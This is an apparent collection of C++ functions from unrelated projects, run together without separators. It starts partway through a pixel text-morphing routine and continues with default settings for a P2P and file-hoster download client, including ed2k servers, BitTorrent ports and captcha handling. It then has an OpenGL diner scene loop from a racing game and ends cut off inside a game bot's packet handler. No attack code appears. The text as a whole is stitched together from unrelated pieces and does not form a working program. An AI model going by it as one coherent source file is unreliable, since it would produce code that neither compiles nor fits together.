m_pBitmapBits[iIndex] = 0; m_pSavedBitmapBits[i] = 0; if(bBreak) iTransitionPixels++; } else { if(m_LMovingPixels.size() > 0 && iTransitionPixels > 0) { pSource = m_LMovingPixels[GetRandomInt(0, (int)m_LMovingPixels.size()-1)]; pPixel->Destination = pSource->Destination; } else { pPixel->Destination.x = GetRandomInt(0,m_nWidth-1); pPixel->Destination.y = GetRandomInt(0,1)==1?-1:m_nHeight+1; } bSearch = false; } if(j == 0) m_LStaticPixels.push_back(pPixel); else { m_LMovingPixels.push_back(pPixel); } } } } bool bRandom = false; if(m_LMovingPixels.size() <= 0) bRandom = true; for(iIndex=0;iIndex<m_nHeight * m_nWidth;iIndex++) { if(m_pBitmapBits[iIndex] == 0) continue; pPixel = new SLCDPixel(); pPixel->dSpeed = GetRandomDouble()*0.5 + 1; pPixel->cValue = m_pBitmapBits[iIndex]; if(!bRandom) { pSource = m_LMovingPixels[GetRandomInt(0, (int)m_LMovingPixels.size()-1)]; pPixel->Start = pSource->Start; } else { pPixel->Start.x = GetRandomInt(0,m_nWidth-1); pPixel->Start.y = GetRandomInt(0,1)==1?-1:m_nHeight+1; } pPixel->Position = pPixel->Start; pPixel->Destination.y = iIndex/m_nWidth; pPixel->Destination.x = iIndex - (iIndex/m_nWidth)*m_nWidth; m_LMovingPixels.push_back(pPixel); } } m_dwTransitionStart = GetTickCount(); TRACE(_T("Textmorphing: time consumed: %0.2f\n"),(double)(m_dwTransitionStart-dwStart)/(double)1000); }
QMap<QString, CSettings::SSetting> CNeoCore::GetDefaultCoreSettings() { QMap<QString, CSettings::SSetting> Settings; // For values with limits is Default, Minimum, Maximum Settings.insert("Log/Merge", CSettings::SSetting(true)); Settings.insert("Log/Store", CSettings::SSetting(false)); Settings.insert("Log/Limit", CSettings::SSetting(10000,1000,100000)); Settings.insert("Log/Level", CSettings::SSetting(1)); // 0 basic, 1 normal, 2 verbose #ifdef _DEBUG Settings.insert("Modules/AutoStart",CSettings::SSetting(0)); #else Settings.insert("Modules/AutoStart",CSettings::SSetting(1)); #endif Settings.insert("Modules/NeoKad",CSettings::SSetting("NeoKad")); Settings.insert("Modules/MuleKad",CSettings::SSetting("MuleKad")); Settings.insert("Content/SaveInterval", CSettings::SSetting(MIN2S(5))); Settings.insert("Content/Temp", CSettings::SSetting("")); Settings.insert("Content/Incoming", CSettings::SSetting("")); Settings.insert("Content/UnifyedDirs", CSettings::SSetting(0)); Settings.insert("Content/Shared", CSettings::SSetting(QStringList(""))); Settings.insert("Content/VerifyTime", CSettings::SSetting(30)); Settings.insert("Content/VerifySize", CSettings::SSetting(MB2B(5))); Settings.insert("Content/CacheLimit", CSettings::SSetting(MB2B(256), MB2B(128), MB2B(1024))); Settings.insert("Content/AddPaused", CSettings::SSetting(false)); Settings.insert("Content/ShareNew", CSettings::SSetting(true)); //Settings.insert("Content/ShowTemp", CSettings::SSetting(false)); Settings.insert("Content/MagnetDomain", CSettings::SSetting("http://link.neoloader.to/")); Settings.insert("Content/MagnetRetry", CSettings::SSetting(MIN2S(10))); #ifdef DECODER Settings.insert("Content/MagnetTimeLimit", CSettings::SSetting(MIN2S(60))); Settings.insert("Content/MagnetVolumeLimit", CSettings::SSetting(15)); Settings.insert("Content/MagnetAllowDisplay", true); #endif Settings.insert("Content/EndGameVolume", CSettings::SSetting(5,0,10)); //Settings.insert("Content/AlwaysEndGame", CSettings::SSetting(true)); Settings.insert("Content/FuseMount", CSettings::SSetting("")); #ifndef WIN32 Settings.insert("Content/FuseOptions", CSettings::SSetting("-o|allow_other")); #endif Settings.insert("Content/IgnoreLastModified", CSettings::SSetting(0)); Settings.insert("Content/ShareRatio", CSettings::SSetting(0)); // 0 means no ratio Settings.insert("Content/ShareTime", CSettings::SSetting(0)); // 0 means no limit Settings.insert("Content/AutoP2P", CSettings::SSetting(false)); Settings.insert("Content/PreparePreview", CSettings::SSetting(false)); Settings.insert("Content/Streamable", CSettings::SSetting("(mp4|m4v|divx|avi|mkv|mov|wmv|asf|mped|mpg|flv)")); Settings.insert("Content/FrontLoadSize", CSettings::SSetting(MB2B(8))); Settings.insert("Content/BackLoadSize", CSettings::SSetting(MB2B(2))); Settings.insert("Content/Preallocation", CSettings::SSetting(MB2B(100))); Settings.insert("Content/CalculateHashes", CSettings::SSetting(true)); Settings.insert("Content/SaveSearch", CSettings::SSetting(true)); #ifdef _DEBUG Settings.insert("Other/PreventStandby", CSettings::SSetting(false)); #else Settings.insert("Other/PreventStandby", CSettings::SSetting(true)); #endif Settings.insert("Bandwidth/Upload", CSettings::SSetting(-1)); Settings.insert("Bandwidth/Download", CSettings::SSetting(-1)); #ifdef _DEBUG Settings.insert("Bandwidth/UseUPnP",CSettings::SSetting(false)); #else Settings.insert("Bandwidth/UseUPnP",CSettings::SSetting(true)); #endif Settings.insert("Bandwidth/UseIPv6",CSettings::SSetting(false)); Settings.insert("Bandwidth/DefaultNIC",CSettings::SSetting("")); Settings.insert("Bandwidth/WebProxy", CSettings::SSetting("")); Settings.insert("Bandwidth/MaxConnections", CSettings::SSetting(2500)); Settings.insert("Bandwidth/MaxNewPer5Sec", CSettings::SSetting(250)); Settings.insert("Bandwidth/TransportLimiting", CSettings::SSetting(true)); Settings.insert("Bandwidth/FrameOverhead", CSettings::SSetting(18)); Settings.insert("Upload/HistoryDepth", CSettings::SSetting(10,50,100)); Settings.insert("Upload/UpWaitTime", CSettings::SSetting(HR2S(3),HR2S(1),HR2S(5))); Settings.insert("Upload/SlotSpeed", CSettings::SSetting(KB2B(8))); //Settings.insert("Upload/SlotFocus", CSettings::SSetting(false)); Settings.insert("Upload/TrickleVolume", CSettings::SSetting(2)); Settings.insert("Upload/TrickleSpeed", CSettings::SSetting(KB2B(1))); Settings.insert("Upload/DropBlocking", CSettings::SSetting(false)); Settings.insert("Pinger/MinSpeed", CSettings::SSetting(KB2B(10))); // 10 kb/s Settings.insert("Pinger/MaxSpeed", CSettings::SSetting(-1)); Settings.insert("Pinger/HostsToTrace", CSettings::SSetting(10)); Settings.insert("Pinger/MaxFails", CSettings::SSetting(60)); Settings.insert("Pinger/InitialPings", CSettings::SSetting(10)); Settings.insert("Pinger/ToleranceVal", CSettings::SSetting("")); Settings.insert("Pinger/UpDivider", CSettings::SSetting(10)); Settings.insert("Pinger/DownDivider", CSettings::SSetting(10)); Settings.insert("Pinger/Average", CSettings::SSetting(3)); Settings.insert("Pinger/Host", CSettings::SSetting("")); Settings.insert("PeerWatch/Enable",CSettings::SSetting(2)); Settings.insert("PeerWatch/BlockTime", CSettings::SSetting(MIN2S(10),MIN2S(5),MIN2S(60))); Settings.insert("PeerWatch/BanTime", CSettings::SSetting(HR2S(2),HR2S(1),HR2S(6))); //Settings.insert("PeerWatch/IPFilter",CSettings::SSetting("")); Settings.insert("NeoShare/IdleTimeout",CSettings::SSetting(MIN2S(2),MIN2S(1),MIN2S(5))); Settings.insert("NeoShare/KeepAlive",CSettings::SSetting(60,30,MIN2S(3))); Settings.insert("NeoShare/ConnectTimeout",CSettings::SSetting(20,10,120)); Settings.insert("NeoShare/RouteTimeout", CSettings::SSetting(MIN2S(5),MIN2S(1),MIN2S(15))); Settings.insert("NeoShare/MaxEntities", CSettings::SSetting(250)); Settings.insert("NeoShare/RequestInterval",CSettings::SSetting(MIN2S(20),MIN2S(10),MIN2S(60))); Settings.insert("NeoShare/RequestLimit",CSettings::SSetting(100,10,250)); Settings.insert("NeoShare/SaveInterval", CSettings::SSetting(MIN2S(5))); Settings.insert("NeoShare/SaveEntities",CSettings::SSetting(false)); Settings.insert("NeoShare/KadPublishmentVolume",CSettings::SSetting(10,5,100)); Settings.insert("NeoShare/KadLookupVolume",CSettings::SSetting(20,5,100)); Settings.insert("NeoShare/KadLookupInterval",CSettings::SSetting(MIN2S(20),MIN2S(10),MIN2S(60))); Settings.insert("NeoShare/HubCheckoutInterval",CSettings::SSetting(MIN2S(40),MIN2S(20),MIN2S(120))); Settings.insert("NeoShare/LoadTreshold", CSettings::SSetting(75,50,100)); Settings.insert("NeoShare/SaturationLimit", CSettings::SSetting(10,5,20)); Settings.insert("NeoShare/Enable", CSettings::SSetting(true)); Settings.insert("NeoShare/Anonymity", CSettings::SSetting(0, 0, 4)); Settings.insert("NeoShare/Upload", CSettings::SSetting(-1)); Settings.insert("NeoShare/Download", CSettings::SSetting(-1)); Settings.insert("NeoShare/Priority", CSettings::SSetting(0)); Settings.insert("NeoKad/Port", CSettings::SSetting(GetRandomInt(9000, 9999))); Settings.insert("NeoKad/TargetID", CSettings::SSetting("")); Settings.insert("NeoKad/LastDistance", CSettings::SSetting(0)); Settings.insert("NeoKad/EntityKey", CSettings::SSetting("")); Settings.insert("NeoKad/StoreKey", CSettings::SSetting("")); Settings.insert("BitTorrent/Tracking", CSettings::SSetting("All-Tiers")); // "No-Trackers" "One-Tracker" "All-Trackers" "All-Tiers" Settings.insert("BitTorrent/MaxPeers", CSettings::SSetting(500, 10, 1000)); Settings.insert("BitTorrent/ServerPort", CSettings::SSetting(GetRandomInt(6800, 6900))); Settings.insert("BitTorrent/AnnounceInterval",CSettings::SSetting(MIN2S(5),MIN2S(1),MIN2S(60))); Settings.insert("BitTorrent/AnnounceWanted",CSettings::SSetting(200,1,1000)); Settings.insert("BitTorrent/ConnectTimeout",CSettings::SSetting(20,10,30)); Settings.insert("BitTorrent/IdleTimeout",CSettings::SSetting(90,15,320)); Settings.insert("BitTorrent/KeepAlive",CSettings::SSetting(30,15,60)); Settings.insert("BitTorrent/RequestTimeout",CSettings::SSetting(60,15,120)); Settings.insert("BitTorrent/RequestLimit",CSettings::SSetting(250,100,250)); //Settings.insert("BitTorrent/RetryInterval",CSettings::SSetting(MIN2S(10),MIN2S(1),MIN2S(58))); Settings.insert("BitTorrent/Encryption", CSettings::SSetting("Support")); Settings.insert("BitTorrent/uTP", CSettings::SSetting(true)); Settings.insert("BitTorrent/MaxRendezvous", CSettings::SSetting(5,3,10)); Settings.insert("BitTorrent/CryptTCPPaddingLength",CSettings::SSetting(127,0,511)); Settings.insert("BitTorrent/EnableTracker",CSettings::SSetting(1)); // 0 off, 1 on, 2 on but only for own torrents Settings.insert("BitTorrent/SavePeers",CSettings::SSetting(false)); Settings.insert("BitTorrent/Enable", CSettings::SSetting(true)); Settings.insert("BitTorrent/MaxTorrents", CSettings::SSetting(5)); Settings.insert("BitTorrent/Upload", CSettings::SSetting(-1)); Settings.insert("BitTorrent/Download", CSettings::SSetting(-1)); Settings.insert("BitTorrent/Priority", CSettings::SSetting(0)); Settings.insert("MainlineDHT/NodeID", CSettings::SSetting("")); Settings.insert("MainlineDHT/Address", CSettings::SSetting("")); Settings.insert("MainlineDHT/RouterNodes", CSettings::SSetting(QString("router.bittorrent.com:6881|router.utorrent.com:6881").split("|"))); Settings.insert("Ed2kMule/UserHash", CSettings::SSetting("")); Settings.insert("Ed2kMule/NickName", CSettings::SSetting("http://neoloader.to")); Settings.insert("Ed2kMule/MaxSources", CSettings::SSetting(500, 50, 5000)); Settings.insert("Ed2kMule/TCPPort", CSettings::SSetting(GetRandomInt(4600, 4700))); Settings.insert("Ed2kMule/UDPPort", CSettings::SSetting(GetRandomInt(4700, 4800))); Settings.insert("Ed2kMule/CheckFWInterval", CSettings::SSetting(MIN2S(15), MIN2S(10), MIN2S(60))); Settings.insert("Ed2kMule/ConnectTimeout",CSettings::SSetting(20,10,30)); Settings.insert("Ed2kMule/IdleTimeout",CSettings::SSetting(60,15,320)); Settings.insert("Ed2kMule/IncomingTimeOut",CSettings::SSetting(MIN2S(10),MIN2S(5),MIN2S(60))); Settings.insert("Ed2kMule/ReaskInterval",CSettings::SSetting(MIN2S(29),MIN2S(10),MIN2S(58))); Settings.insert("Ed2kMule/LanMode", CSettings::SSetting(false)); Settings.insert("Ed2kMule/Obfuscation", CSettings::SSetting("Support")); Settings.insert("Ed2kMule/CryptTCPPaddingLength",CSettings::SSetting(127,0,254)); Settings.insert("Ed2kMule/NatTraversal", CSettings::SSetting(true)); Settings.insert("Ed2kMule/KadLookupInterval",CSettings::SSetting(MIN2S(29),MIN2S(10),MIN2S(58))); Settings.insert("Ed2kMule/KadMaxLookup",CSettings::SSetting(5,5,50)); Settings.insert("Ed2kMule/SXInterval",CSettings::SSetting(MIN2S(10),MIN2S(5),MIN2S(40))); Settings.insert("Ed2kMule/SXVolume",CSettings::SSetting(20,5,50)); Settings.insert("Ed2kMule/SaveSources",CSettings::SSetting(false)); Settings.insert("Ed2kMule/Enable", CSettings::SSetting(true)); Settings.insert("Ed2kMule/ShareDefault", CSettings::SSetting(false)); Settings.insert("Ed2kMule/Upload", CSettings::SSetting(-1)); Settings.insert("Ed2kMule/Download", CSettings::SSetting(-1)); Settings.insert("Ed2kMule/Priority", CSettings::SSetting(0)); Settings.insert("Ed2kMule/HashMode", CSettings::SSetting("Random-Secure")); // Random, Static, Random-Secure, Static-Secure Settings.insert("Ed2kMule/SUIKey", CSettings::SSetting("")); Settings.insert("Ed2kMule/HashAge", CSettings::SSetting("")); Settings.insert("Ed2kMule/UseServers", CSettings::SSetting("Static")); // None, Custom, Static, One, Booth Settings.insert("Ed2kMule/StaticServers", CSettings::SSetting(QString("ed2k://|server|91.200.42.46|1176|/\r\ned2k://|server|91.200.42.47|3883|/\r\ned2k://|server|91.200.42.119|9939|/\r\ned2k://|server|176.103.48.36|4184|/\r\ned2k://|server|77.120.115.66|5041|/\r\ned2k://|server|46.105.126.71|4661|/").split("\r\n"))); Settings.insert("Ed2kMule/KeepServers",CSettings::SSetting(MIN2S(10),MIN2S(5),MIN2S(58))); Settings.insert("Ed2kMule/MinHordeSlots",CSettings::SSetting(1,0,10)); Settings.insert("Hoster/MinWebTasks", CSettings::SSetting(10)); Settings.insert("Hoster/MaxNewPer5Sec", CSettings::SSetting(25)); Settings.insert("Hoster/MaxWebTasks", CSettings::SSetting(100)); Settings.insert("Hoster/AccessFailedTimeOut", CSettings::SSetting(10)); Settings.insert("Hoster/ServerBanTime", CSettings::SSetting(HR2S(2))); Settings.insert("Hoster/ServerBanTreshold", CSettings::SSetting(20)); Settings.insert("Hoster/ServerDownTreshold", CSettings::SSetting(4)); Settings.insert("Hoster/MaxUploads", CSettings::SSetting(1)); Settings.insert("Hoster/MaxDownloads", CSettings::SSetting(5)); Settings.insert("Hoster/MaxChecks", CSettings::SSetting(5)); Settings.insert("Hoster/ReCheckInterval", CSettings::SSetting(HR2S(24),HR2S(1),HR2S(240))); Settings.insert("Hoster/AutoReUpload", CSettings::SSetting(true)); Settings.insert("Hoster/MaxCheckouts", CSettings::SSetting(3)); Settings.insert("Hoster/CheckoutInterval", CSettings::SSetting(MIN2S(60),MIN2S(30),HR2S(6))); Settings.insert("Hoster/MaxTransferRetry", CSettings::SSetting(3)); Settings.insert("Hoster/ServerRetryDelay", CSettings::SSetting(MIN2S(2))); Settings.insert("Hoster/CaptchaRetryDelay", CSettings::SSetting(MIN2S(20))); Settings.insert("Hoster/MaxBadCaptcha", CSettings::SSetting(3)); Settings.insert("Hoster/ManualCaptcha", CSettings::SSetting(1)); Settings.insert("Hoster/AutoCleanUp", CSettings::SSetting(true)); Settings.insert("Hoster/Encap", CSettings::SSetting("7z")); Settings.insert("Hoster/RarPath", CSettings::SSetting("")); Settings.insert("Hoster/RarComment", CSettings::SSetting("")); #ifdef CRAWLER Settings.insert("Hoster/DecapCleanup", CSettings::SSetting("*.url;*.lnk;thumbs.db")); Settings.insert("Hoster/KeepSingleArchives", CSettings::SSetting(false)); #else Settings.insert("Hoster/KeepSingleArchives", CSettings::SSetting(true)); #endif Settings.insert("Hoster/EncryptUploads", CSettings::SSetting("RC4")); Settings.insert("Hoster/ProtectLinks", CSettings::SSetting(true)); Settings.insert("Hoster/Enable", CSettings::SSetting(true)); Settings.insert("Hoster/UseCaptcha", CSettings::SSetting(false)); Settings.insert("Hoster/PartSize", CSettings::SSetting(0)); Settings.insert("Hoster/MaxArcTasks", CSettings::SSetting(5)); Settings.insert("Hoster/Upload", CSettings::SSetting(-1)); Settings.insert("Hoster/Download", CSettings::SSetting(-1)); Settings.insert("Hoster/Priority", CSettings::SSetting(0)); Settings.insert("HosterCache/CacheMode", CSettings::SSetting("Off")); // Off, On, All Settings.insert("HosterCache/SelectionMode", CSettings::SSetting("Auto")); // All, Auto, Selected - hosters Settings.insert("HosterCache/PartSize", CSettings::SSetting(MB2B(100))); Settings.insert("HosterCache/MaxAvail", CSettings::SSetting(3)); Settings.insert("HosterCache/MaxJoints", CSettings::SSetting(1)); Settings.insert("HashInspector/Majority",CSettings::SSetting(90,80,100)); Settings.insert("HashInspector/Quorum",CSettings::SSetting(10,5,20)); Settings.insert("CorruptionLogger/MonitorTime", CSettings::SSetting(HR2S(4),HR2S(2),HR2S(16))); Settings.insert("CorruptionLogger/DropRatio", CSettings::SSetting(40, 10, 100)); //Settings.insert("Script/AutoUpdate", CSettings::SSetting(true)); //Settings.insert("Script/UserName", CSettings::SSetting("")); //Settings.insert("Script/Password", CSettings::SSetting("")); Settings.insert("Browser/MaxRetries", CSettings::SSetting(3)); Settings.insert("Browser/TimeoutSecs", CSettings::SSetting(30)); Settings.insert("Browser/ReplyBuffer", CSettings::SSetting(MB2B(4),KB2B(256),MB2B(64))); Settings.insert("Browser/TransferBuffer",CSettings::SSetting(KB2B(16),KB2B(4),KB2B(256))); return Settings; }
/////////////////// // Start the diner bool Dnr_Start(char *szDir) { keyboard_t *kb = System_GetKeyboard(); GLfloat one[] = {0.3f,0.3f,0.3f,1}; GLfloat blue[] = {0.3f, 0.3f, 1.0f, 1.0f}; GLfloat pos1[4] = {1,1,1,1}; GLfloat pos2[4] = {1,1,1,1}; GLfloat pos3[4] = {25,-100,50,1}; int i; if( !Dnr_Load(szDir) ) return false; for( i=0; i<3; i++ ) { pos1[i] = psDiner->pcLocation->getScene()->getLight(0).Position.GetIndex(i); pos2[i] = psDiner->pcLocation->getScene()->getLight(1).Position.GetIndex(i); } // Setup the diner for an opponent psDiner->nOppState = opp_waiting; psDiner->fOppTimer = tMainSR3.fCurTime + (float)GetRandomInt(2)+2.0f; sRaceInfo.pcOpponent = NULL; // HACK: Quickly get the opponent in the diner //Dnr_RollinOpponent(); //psDiner->pcLocation->SetupCamera( CVec(25,11,-1.4f),100); //psDiner->pcLocation->setCamPos( CVec(0,0,0) ); // Setup the fog State_Disable(GL_FOG); // Setup the lighting State_Enable(GL_LIGHTING); State_Enable(GL_LIGHT1); State_Enable(GL_LIGHT2); glLightfv(GL_LIGHT0, GL_DIFFUSE, one); glLightfv(GL_LIGHT1, GL_DIFFUSE, one); glLightfv(GL_LIGHT2, GL_DIFFUSE, one); glLightf(GL_LIGHT0, GL_CONSTANT_ATTENUATION, 1.00f); glLightf(GL_LIGHT0, GL_LINEAR_ATTENUATION, 0.0f); glLightf(GL_LIGHT1, GL_CONSTANT_ATTENUATION, 1.00f); glLightf(GL_LIGHT1, GL_LINEAR_ATTENUATION, 0.0f); glLightf(GL_LIGHT2, GL_CONSTANT_ATTENUATION, 0.80f); glLightf(GL_LIGHT2, GL_LINEAR_ATTENUATION, 0.01f); glMaterialf(GL_FRONT, GL_SHININESS, 25.0); glMaterialfv(GL_FRONT, GL_SPECULAR, one); System_ProcessInput(); while(psDiner->bProcessDiner) { System_ProcessInput(); // // Processing // psDiner->pcLocation->Process(); psDiner->cSky.Simulate(tMainSR3.fDeltaTime); if( !psDiner->bSpeechBubble ) { Dnr_ProcessOpponent(); Dnr_ProcessGUI(); } cMainGuy->processFrame(); // // 3D Drawing // glLightfv(GL_LIGHT0, GL_POSITION, pos1); glLightfv(GL_LIGHT1, GL_POSITION, pos2); glLightfv(GL_LIGHT2, GL_POSITION, pos3); SetupFrame(); // Manually setup the camera psDiner->pcLocation->getCamera()->LookAt(psDiner->pcLocation->getCamLook()); psDiner->pcLocation->getCamera()->Show(); psDiner->cSky.Render( psDiner->pcLocation->getCamera() ); State_Enable(GL_LIGHTING); psDiner->pcLocation->Draw(true, true, false); Dnr_DrawOpponent(); // // 2D Drawing // Render_Begin2D(); // Draw the sidedoor bit State_Enable(GL_TEXTURE_2D); State_Disable(GL_LIGHTING); State_Enable(GL_BLEND); glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); glColor4f(1,1,1,1); BlitTexture(psDiner->psSideDoor, 0,0, 0,472, 105,128, 1,1); for(i=0; i<10; i++ ) { BlitTexture(psDiner->psSideDoor, 105,0, i*95+105,472, 95,128, 1,1); } if( psDiner->bSpeechBubble ) Dnr_SpeechProcess(); psDiner->pcLocation->FinalDraw(); if(psOptions->nShowFPS) { Font_SetAlpha(1); Font_SetSize(14); int fps = GetFPS(); Font_Draw(5, 583, CVec(0,0,0), "FPS: %d", fps); Font_Draw(5, 585, CVec(1,1,1), "FPS: %d", fps); } if(psOptions->nDeveloper) { Font_SetAlpha(1); Font_SetSize(14); Font_Draw(5, 563, CVec(0,0,0), "Tris: %d", tMainSR3.TriCount); Font_Draw(5, 565, CVec(1,1,1), "Tris: %d", tMainSR3.TriCount); } // Draw the gui if(!psDiner->bSpeechBubble && psDiner->bProcessDiner) { if( psDiner->bOppClicked ) cDinerLayout.Draw(); cDinerLayout2.Draw(); } gui_DrawMouse(); Render_End2D(); SDL_GL_SwapBuffers(); } // // Show a loading sign on the screen // Render_Begin2D(); Font_SetSize(14); Font_SetAlpha(1); Font_DrawCentered(400, 300, CVec(1,1,1), "Loading..."); Render_End2D(); SDL_GL_SwapBuffers(); // Are we going to race? if(psDiner->bRacing) // Off to the track Game_SetLocation(LOC_RACE); else // Back to the garage Game_SetLocation(LOC_GARAGE); Dnr_Shutdown(); return true; }
// Handle packet void _Bot::HandlePacket(_Buffer &Data) { PacketType Type = Data.Read<PacketType>(); //std::cout << (int)Type << std::endl; switch(Type) { case PacketType::ACCOUNT_SUCCESS: { // Request character list _Buffer Packet; Packet.Write<PacketType>(PacketType::CHARACTERS_REQUEST); Network->SendPacket(Packet); } break; case PacketType::ACCOUNT_NOTFOUND: { _Buffer Packet; Packet.Write<PacketType>(PacketType::ACCOUNT_LOGININFO); Packet.WriteBit(1); Packet.WriteString(Username.c_str()); Packet.WriteString(Password.c_str()); Packet.Write<uint64_t>(0); Network->SendPacket(Packet); } break; case PacketType::CHARACTERS_LIST: { // Get count uint8_t CharacterCount = Data.Read<uint8_t>(); std::cout << "character count: " << (int)CharacterCount << std::endl; // Get characters int FirstSlot = -1; for(size_t i = 0; i < CharacterCount; i++) { size_t Slot = Data.Read<uint8_t>(); Data.ReadString(); Data.Read<uint32_t>(); Data.Read<int32_t>(); if(FirstSlot == -1) FirstSlot = (int)Slot; } // Create character if(FirstSlot == -1) { std::string Name = Username + "_" + std::to_string(GetRandomInt(0, 1000)); _Buffer Packet; Packet.Write<PacketType>(PacketType::CREATECHARACTER_INFO); Packet.WriteString(Name.c_str()); Packet.Write<uint32_t>(1); Packet.Write<uint32_t>(1); Packet.Write<uint8_t>(0); Network->SendPacket(Packet); FirstSlot = 0; } _Buffer Packet; Packet.Write<PacketType>(PacketType::CHARACTERS_PLAY); Packet.Write<uint8_t>((uint8_t)FirstSlot); Network->SendPacket(Packet); } break; case PacketType::OBJECT_STATS: if(Player) Player->UnserializeStats(Data); break; case PacketType::WORLD_CHANGEMAPS: { // Load map NetworkIDType MapID = (NetworkIDType)Data.Read<uint32_t>(); double Clock = Data.Read<double>(); if(Player) std::cout << Player->NetworkID << " "; std::cout << "WORLD_CHANGEMAPS " << MapID << std::endl; // Delete old map and create new if(!Map || Map->NetworkID != MapID) { if(Map) { delete Pather; delete Map; Pather = nullptr; Map = nullptr; } Map = new _Map(); Map->Clock = Clock; Map->NetworkID = MapID; Map->Load(Stats->GetMap(MapID)->File); AssignPlayer(nullptr); Pather = new micropather::MicroPather(Map, (unsigned)(Map->Size.x * Map->Size.y), 4); Path.clear(); } } break; case PacketType::WORLD_OBJECTLIST: { ObjectManager->Clear(); AssignPlayer(nullptr); // Read header NetworkIDType ClientNetworkID = Data.Read<NetworkIDType>(); NetworkIDType ObjectCount = Data.Read<NetworkIDType>(); // Create objects //std::cout << ClientNetworkID << " WORLD_OBJECTLIST count=" << ObjectCount << std::endl; for(NetworkIDType i = 0; i < ObjectCount; i++) { NetworkIDType NetworkID = Data.Read<NetworkIDType>(); // Create object _Object *Object = CreateObject(Data, NetworkID); // Set player pointer if(Object->NetworkID == ClientNetworkID) AssignPlayer(Object); else Object->CalcLevelStats = false; } if(Player) { } else { // Error } } break; case PacketType::WORLD_CREATEOBJECT: { if(!Map || !Player) break; // Read packet NetworkIDType NetworkID = Data.Read<NetworkIDType>(); //std::cout << Player->NetworkID << " WORLD_CREATEOBJECT NetworkID=" << NetworkID << std::endl; // Check id if(NetworkID != Player->NetworkID) { // Create object CreateObject(Data, NetworkID); } } break; case PacketType::WORLD_DELETEOBJECT: { NetworkIDType NetworkID = Data.Read<NetworkIDType>(); // Get object _Object *Object = ObjectManager->GetObject(NetworkID); if(Object && Object != Player) { Object->Deleted = true; } } break; case PacketType::WORLD_OBJECTUPDATES: //HandleObjectUpdates(Data); break; case PacketType::WORLD_POSITION: { if(!Player) break; Player->Position = Data.Read<glm::ivec2>(); Player->WaitForServer = false; Player->TeleportTime = -1; } break; case PacketType::WORLD_TELEPORTSTART: Player->TeleportTime = Data.Read<double>(); break; case PacketType::EVENT_START: //HandleEventStart(Data); break; case PacketType::CHAT_MESSAGE: //HandleChatMessage(Data); break; case PacketType::INVENTORY: //HandleInventory(Data); break; case PacketType::INVENTORY_USE: //HandleInventoryUse(Data); break; case PacketType::INVENTORY_SWAP: //HandleInventorySwap(Data); break; case PacketType::INVENTORY_UPDATE: //HandleInventoryUpdate(Data); break; case PacketType::INVENTORY_GOLD: //HandleInventoryGold(Data); break; case PacketType::TRADE_REQUEST: //HandleTradeRequest(Data); break; case PacketType::TRADE_CANCEL: //HandleTradeCancel(Data); break; case PacketType::TRADE_ITEM: //HandleTradeItem(Data); break; case PacketType::TRADE_GOLD: //HandleTradeGold(Data); break; case PacketType::TRADE_ACCEPT: //HandleTradeAccept(Data); break; case PacketType::TRADE_EXCHANGE: //HandleTradeExchange(Data); break; case PacketType::BATTLE_START: { std::cout << "BATTLE_START" << std::endl; // Already in a battle if(Battle) break; // Allow player to hit menu buttons Player->WaitForServer = false; // Create a new battle instance Battle = new _Battle(); Battle->Manager = ObjectManager; Battle->Stats = Stats; Battle->Scripting = Scripting; Battle->ClientPlayer = Player; Battle->ClientNetwork = Network.get(); Battle->Unserialize(Data, nullptr); } break; case PacketType::BATTLE_ACTION: //HandleBattleAction(Data); break; case PacketType::BATTLE_LEAVE: { NetworkIDType NetworkID = Data.Read<NetworkIDType>(); _Object *Object = ObjectManager->GetObject(NetworkID); if(Object) Battle->RemoveFighter(Object); } break; case PacketType::BATTLE_END: { if(!Player || !Battle) return; std::cout << "BATTLE_END" << std::endl; Player->WaitForServer = false; _StatChange StatChange; StatChange.Object = Player; // Get ending stats bool SideDead[2]; SideDead[0] = Data.ReadBit(); SideDead[1] = Data.ReadBit(); int PlayerKills = Data.Read<uint8_t>(); int MonsterKills = Data.Read<uint8_t>(); StatChange.Values[StatType::EXPERIENCE].Integer = Data.Read<int32_t>(); StatChange.Values[StatType::GOLD].Integer = Data.Read<int32_t>(); uint8_t ItemCount = Data.Read<uint8_t>(); for(uint8_t i = 0; i < ItemCount; i++) { uint32_t ItemID = Data.Read<uint32_t>(); const _Item *Item = Stats->Items[ItemID]; int Count = (int)Data.Read<uint8_t>(); // Add items Player->Inventory->AddItem(Item, Count); } // Check win or death int PlayerSide = Player->BattleSide; int OtherSide = !PlayerSide; if(!SideDead[PlayerSide] && SideDead[OtherSide]) { Player->PlayerKills += PlayerKills; Player->MonsterKills += MonsterKills; } Player->Battle = nullptr; delete Battle; Battle = nullptr; DetermineNextGoal(); } break; case PacketType::ACTION_RESULTS: { // Create result _ActionResult ActionResult; bool DecrementItem = Data.ReadBit(); bool SkillUnlocked = Data.ReadBit(); bool ItemUnlocked = Data.ReadBit(); uint32_t ItemID = Data.Read<uint32_t>(); int InventorySlot = (int)Data.Read<char>(); ActionResult.ActionUsed.Item = Stats->Items[ItemID]; // Set texture if(ActionResult.ActionUsed.Item) ActionResult.Texture = ActionResult.ActionUsed.Item->Texture; // Get source change HandleStatChange(Data, ActionResult.Source); // Update source fighter if(ActionResult.Source.Object) { ActionResult.Source.Object->TurnTimer = 0.0; ActionResult.Source.Object->Action.Unset(); ActionResult.Source.Object->Targets.clear(); // Use item on client if(Player == ActionResult.Source.Object) { if(ActionResult.ActionUsed.Item) { if(DecrementItem) { size_t Index; if(Player->Inventory->FindItem(ActionResult.ActionUsed.Item, Index, (size_t)InventorySlot)) { Player->Inventory->DecrementItemCount(Index, -1); Player->RefreshActionBarCount(); } } if(SkillUnlocked) { Player->Skills[ActionResult.ActionUsed.Item->ID] = 0; } if(ItemUnlocked) { Player->Unlocks[ActionResult.ActionUsed.Item->UnlockID].Level = 1; } } } } // Update targets uint8_t TargetCount = Data.Read<uint8_t>(); for(uint8_t i = 0; i < TargetCount; i++) { HandleStatChange(Data, ActionResult.Source); HandleStatChange(Data, ActionResult.Target); if(Battle) { // No damage dealt if((ActionResult.ActionUsed.GetTargetType() == TargetType::ENEMY || ActionResult.ActionUsed.GetTargetType() == TargetType::ENEMY_ALL) && ((ActionResult.Target.HasStat(StatType::HEALTH) && ActionResult.Target.Values[StatType::HEALTH].Float == 0.0f) || ActionResult.Target.HasStat(StatType::MISS))) { ActionResult.Timeout = HUD_ACTIONRESULT_TIMEOUT_SHORT; ActionResult.Speed = HUD_ACTIONRESULT_SPEED_SHORT; } else { ActionResult.Timeout = HUD_ACTIONRESULT_TIMEOUT; 